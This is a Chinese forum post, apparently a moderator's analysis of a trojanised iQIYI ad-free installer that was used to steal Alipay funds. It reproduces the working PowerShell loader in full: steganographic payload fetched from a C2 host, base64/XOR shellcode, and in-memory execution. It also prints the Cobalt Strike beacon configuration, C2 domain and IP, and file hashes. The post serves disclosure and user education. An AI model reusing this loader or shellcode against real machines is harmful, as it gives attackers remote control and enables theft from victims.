BanID:zxj397298976【发布软件捆绑Cobalt Strike远控木马】
BanID:zxj397298976【发布软件捆绑Cobalt Strike远控木马】

今天早晨收到@cxj998 的举报反馈被盗刷
爱奇艺 v7.8.118.2140 去广告优化版-带病毒
https://www.52pojie.cn/thread-1276263-1-1.html
我们着手分析一下看看软件确实发现了问题,软件利用白加黑启动PowerShell脚本加载Cobalt Strike远程控制木马,用来控制受害者机器进行盗刷支付宝金额。
一:木马行为分析
文件下载后发现使用了MSI打包,使用lesSmsi解包(也可以正常安装获得文件)

解压后通过文件修改时间顺序排序,轻松发现最后修改的文件很可疑

通过经验(也可以调试下得到)可以看出来App.dll(MD5: 17BD779769DBEC0B58966D066F656A72)加了VMP 2.x的壳是最可疑的了,Appdll.dll其实是正常的app.dll文件,显而易见爱奇艺主程序会主动加载App.dll文件,木马通过替换正常的DLL来做白加黑,所以看下App.dll的代码就好了,vmp 2.x的老版本壳,直接用@ximo 大神的zeus vmp脱壳神器轻松脱掉(当然直接F9跑起来看也行),直接看下字符串只有一行代码:cmd.exe /c powershell -exec bypass -f .\dataup.ps1 ,就是启动根目录下dataup.ps1(F409AE142DE9167CE4CD2B691F8A2A50),它是一个的PowerShell脚本。

重点到了dataup.ps1这,我们看下PowerShell脚本内容是:
sal
a
New-Object
;Add
-Type
-A
System.Drawing;
$g
=a System.Drawing.Bitmap((a Net.WebClient).OpenRead(
"http://cs40a.microsoftup.pw/down/test22a.png"
));
$o
=a Byte[] 5220;(0..2)|%{
foreach
(
$x
in(0..1739)){
$p
=
$g
.GetPixel(
$x
,$_);
$o
[$_*1740+
$x
]=([math]::Floor((
$p
.B-band15)*16)
-bor
(
$p
.G
-band
15))}};
IEX
([System.Text.Encoding]::ASCII.GetString(
$o
[0..3546]))
这个脚本使用隐写的方式,把代码写到png图片里,根据脚本解密后的内容:
Set
-StrictMode
-Version
2
$DoIt
= @'
function func_get_proc_address {
Param ($var_module, $var_procedure)
$var_unsafe_native_methods = ([AppDomain]::CurrentDomain.GetAssemblies() |
Where-Object
{ $_.GlobalAssemblyCache
-And
$_.Location.Split(
'\\'
)[-1].Equals(
'System.dll'
) }).GetType(
'Microsoft.Win32.UnsafeNativeMethods'
)
$var_gpa = $var_unsafe_native_methods.GetMethod(
'GetProcAddress'
, [
Type
[]] @(
'System.Runtime.InteropServices.HandleRef'
,
'string'
))
return $var_gpa.Invoke(
$null
, @([System.Runtime.InteropServices.HandleRef](
New-Object
System.Runtime.InteropServices.HandleRef((
New-Object
IntPtr), ($var_unsafe_native_methods.GetMethod(
'GetModuleHandle'
)).Invoke(
$null
, @($var_module)))), $var_procedure))
}
function func_get_delegate_type {
Param (
[Parameter(Position = 0, Mandatory =
$True
)] [
Type
[]] $var_parameters,
[Parameter(Position = 1)] [
Type
] $var_return_type = [Void]
)
$var_type_builder = [AppDomain]::CurrentDomain.DefineDynamicAssembly((
New-Object
System.Reflection.AssemblyName(
'ReflectedDelegate'
)), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(
'InMemoryModule'
,
$false
).DefineType(
'MyDelegateType'
,
'Class, Public, Sealed, AnsiClass, AutoClass'
, [System.MulticastDelegate])
$var_type_builder.DefineConstructor(
'RTSpecialName, HideBySig, Public'
, [System.Reflection.CallingConventions]::Standard, $var_parameters).SetImplementationFlags(
'Runtime, Managed'
)
$var_type_builder.DefineMethod(
'Invoke'
,
'Public, HideBySig, NewSlot, Virtual'
, $var_return_type, $var_parameters).SetImplementationFlags(
'Runtime, Managed'
)
return $var_type_builder.CreateType()
}
[Byte[]]$var_code = [System.Convert]::FromBase64String(
'38uqIyMjQ6rGEvFHqHETqHEvqHE3qFELLJRpBRLcEuOPH0JfIQ8D4uwuIuTB03F0qHEzqGEfIvOoY1um41dpIvNzqGs7qHsDIvDAH2qoF6gi9RLcEuOP4uwuIuQbw1bXIF7bGF4HVsF7qHsHIvBFqC9oqHs/IvCoJ6gi86pnBwd4eEJ6eXLcw3t8eagxyKV+S01GVyNLVEpNSndLb1qFJNz2Etx0dHR0dEsZdVqE3PbKpyMjI3gS6nJySSBycktEMiMjcHNLdKq85dz2yFN4EvFxSyMhY6dxcXFwcXNLyHYNGNz2quWg4HMS3HR0SdxwdUsOJTtY3Pam4yyn4CIjIxLcptVXJ6rayCpLiebBftz2quJLZgJ9Etz2Etx0SSRydXNLlHTDKNz2nCMMIyMa5FeUEtzKsiIjI8rqIiMjy6jc3NwMe2FVbyPLm/M0T+9tiKiKeUGHZ8xtXX2ewq1PsRjmHxmKhrOBUMPrTQ8BzQXECV96L0tUOUpZCXgC0KayN2Lt2wT5YLEtVDGGucs97+vRI3ZQRlEOYkRGTVcZA25MWUpPT0IMFw0TAwtATE5TQldKQU9GGANucGpmAxQNExgDdEpNR0xUUANtdwMWDRIYAw1tZncDYG9xAxENEw0WExQRFBgDDW1mdwNgb3EDEA0TDRMXFhMVDRATCi4pIw6UpTF1OBjAlT8DAB47//CyyzTSm+BmHocgmMR7DKE52SkaR+G2JTwk5zpgMV8GbPLeYNUr41CiqiJ2BsyQPAnVxMmQc3UhdPWqFNTLumBPH3OZgV72d94bYT6NEM2kQCtOIqSmcbULbvcpieEKbW5yEHfbGZXFK7v9qVSmQg1jjrx+76WkbIQNFQ1cyztF+kgQ8MACW1tZtz18nWGgA6IMlANij8b0bHH33qBDH0CU875iMbLzmdJdLzxfR5++gwkaDiNL05aBddz2SWNLIzMjI0sjI2MjdEt7h3DG3PawmiMjIyMi+nJwqsR0SyMDIyNwdUsxtarB3Pam41flqCQi4KbjVsZ74MuK3tzcqFAXE0INTkpAUUxQTEVXVlMNU1QjMRd1Ww=='
)
for (
$x
= 0;
$x
-lt
$var_code.Count;
$x
++) {
$var_code[
$x
] = $var_code[
$x
]
-bxor
35
}
$var_va = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get_proc_address kernel32.dll VirtualAlloc), (func_get_delegate_type @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])))
$var_buffer = $var_va.Invoke([IntPtr]::Zero, $var_code.Length, 0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::
Copy
($var_code, 0, $var_buffer, $var_code.length)
$var_runme = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($var_buffer, (func_get_delegate_type @([IntPtr]) ([Void])))
$var_runme.Invoke([IntPtr]::Zero)
'@
If ([IntPtr]::size
-eq
8) {
start
-job
{ param(
$a
)
IEX
$a
} -RunAs32
-Argument
$DoIt
| wait
-job
| Receive
-Job
}
else {
IEX
$DoIt
}
根据经验(调试多了就知道了),很像Cobalt Strike的PowerShell服务端脚本,从上面的Base64转换然后和35(十进制)进行异或就得到了ShellCode,4KB大小,不出意外就是Cobalt Strike了,那我们继续调试下这个ShellCode。
调试小技巧:比较简单的办法可以把ShellCode的二进制代码直接复制出来,随便找个无壳程序用OD加载,然后把二进制代码从入口点粘贴覆盖进行,就可以正常调试了(覆盖后保存文件重新OD加载一下,这样可以直接Ctrl+A分析下代码)

通过经验,看到ShellCode的API调用方式,再次印证就是Cobalt Strike了,调试过程略过(可以自己学习单步跟踪尝试一下),流程就是ShellCode去cs40a.microsoftup.pw请求获取Beacon核心DLL进行内存解密加载

网络获取的Beacon核心代码先进行自解密出PE,然后进行内存执行

小技巧:解密出PE以后可以直接把这个数据段dump下来,然后用ExeinfoPE来提取DLL


解密后的DLL通过LordPE查看导出模块名称确实是beacon.dll,再再一次印证就是Cobalt Strike了

有了Cobalt Strike的beacon.dll,那我们就看看它的木马配置信息吧,简单的办法直接用6总的神器,在线解密Cobalt Strike配置信息,只需要把bin文件上传即可获得,解密网址:http://pokemon.work:8501

File 4a8abb8f54fd4283af2fde919f923625bc3d6b998b215467ddc125d1b5d2823d receved !
BeaconType - HTTP
Port - 4455
SleepTime - 60000
MaxGetSize - 1048576
Jitter - 0
MaxDNS - 255
PublicKey - b'0\x81\x9f0\r\x06\t\x86H\x86\xf7\r\x01\x01\x01\x05\x00\x03\x81\x8d\x000\x81\x89\x02\x81\x81\x00\xa7\t\x91\xd6\x9d\x81j`\x1f\xfa\x80\x97ds\x83\x0f\r;A\'m\'\x90@\x1d\xde\xdb\x18\xe2\xd3\xca\xb3\xc3\x15\xe3"#%\xbeB\xb6Z\xdb(x\xf3?Z\x03\xffP\x10\xb2>\x84Q\x0c\x14\x82\xadjB\xf1\xe7\xe5rn\xb3\x18\x13\xe7Cv@\xedxy\x95_@\x1e\x17,4\xd3QrAYm\xd4\x1f\x8eH\xd3\xd1\xb1\xc2\x88\xe6\xc8u/\xf6]\xc2z\xcc\xcb\xa4\xba\x9c\xd6\xd0\xe4\xdea\x96\xce\xa4\xdaH\r;\x99\xd0\xed\x02\x03\x01\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
C2Server - cs40a.microsoftup.pw,/activity
UserAgent - Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727)
HttpPostUri - /submit.php
HttpGet_Metadata - Cookie
HttpPost_Metadata - Content-Type: application/octet-stream
id
SpawnTo - b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
PipeName -
DNS_Idle - 0.0.0.0
DNS_Sleep - 0
SSH_Host - Not Found
SSH_Port - Not Found
SSH_Username - Not Found
SSH_Password_Plaintext - Not Found
SSH_Password_Pubkey - Not Found
HttpGet_Verb - GET
HttpPost_Verb - POST
HttpPostChunk - 0
Spawnto_x86 - %windir%\syswow64\rundll32.exe
Spawnto_x64 - %windir%\sysnative\rundll32.exe
CryptoScheme - 0
Proxy_Config - Not Found
Proxy_User - Not Found
Proxy_Password - Not Found
Proxy_Behavior - Use IE settings
Watermark - 305419896
bStageCleanup - False
bCFGCaution - False
KillDate - 0
bProcInject_StartRWX - True
bProcInject_UseRWX - True
bProcInject_MinAllocSize - 0
ProcInject_PrependAppend_x86 - Empty
ProcInject_PrependAppend_x64 - Empty
ProcInject_Execute - CreateThread
SetThreadContext
CreateRemoteThread
RtlCreateUserThread
ProcInject_AllocationMethod - VirtualAllocEx
bUsesCookies - True
HostHeader -
Done!
C2的服务器地址:
cs40a.microsoftup.pw (139.162.113.21)
当然了,有兴趣的同学可以手动调试DLL来获取配置信息和相关功能,我已经调试过很多次就不再赘述,关于Cobalt Strike木马相关的文章也有不少,大家可以搜索学习,本文也是借此机会对Cobalt Strike其中一种ShellCode加载方式进行了分析讲解,希望可以帮助到大家。
木马下载地址以及相关文件MD5(解压密码:52pojie):
App.dll MD5: 17BD779769DBEC0B58966D066F656A72
dataup.ps1 MD5: F409AE142DE9167CE4CD2B691F8A2A50
shellcode MD5: DDFE4FA2341F59292BFBA48E30988831
Beacon.dll MD5: 50B9A5F1257F5F392D5415FED80904D7
样本下载见论坛原文
二:溯源分析
通过C2域名非常眼熟,简单搜索了下发现之前360安全卫士在6月份就发过相关的分析:https://www.360.cn/n/11718.html ,原来是持续性作案,一直通过替换热门软件的DLL,进行白加黑启动木马来作案,最后通过各种方式进行大数据检索定位到这位作案的朋友,过程略。。。
相关分析溯源已提交给支付宝安全中心、360安全中心,受害人也已报警,相关信息已提交公安,希望好生招待这位朋友。
三:后话
虽然论坛有很多高手,但我们希望提高所有人的安全意识和识别能力,看上述我的分析,你是不是也想来试试?
学会了之后,有能力分析出问题也可以帮助我们,尽快举报,大家合力保卫论坛安全。
想对那些心怀不轨的人说,你在吾爱破解这样的技术论坛玩这种小伎俩,分分钟就给你剥皮把肉看得清清楚楚了,这里都是活跃在互联网安全界的精英,任何小动作都是自讨苦吃,奉劝那些蠢蠢欲动的人,尽快走入正途,不要误入歧途!
最后感谢大家一直以来对吾爱破解论坛的支持和维护,论坛安全离不开大家监督,任何违法违规的行为都逃不过大家的眼睛和管理的审查,对待此类*渣论坛绝不手软,坚决处罚到底!
原帖地址: https://www.52pojie.cn/thread-1276525-1-1.html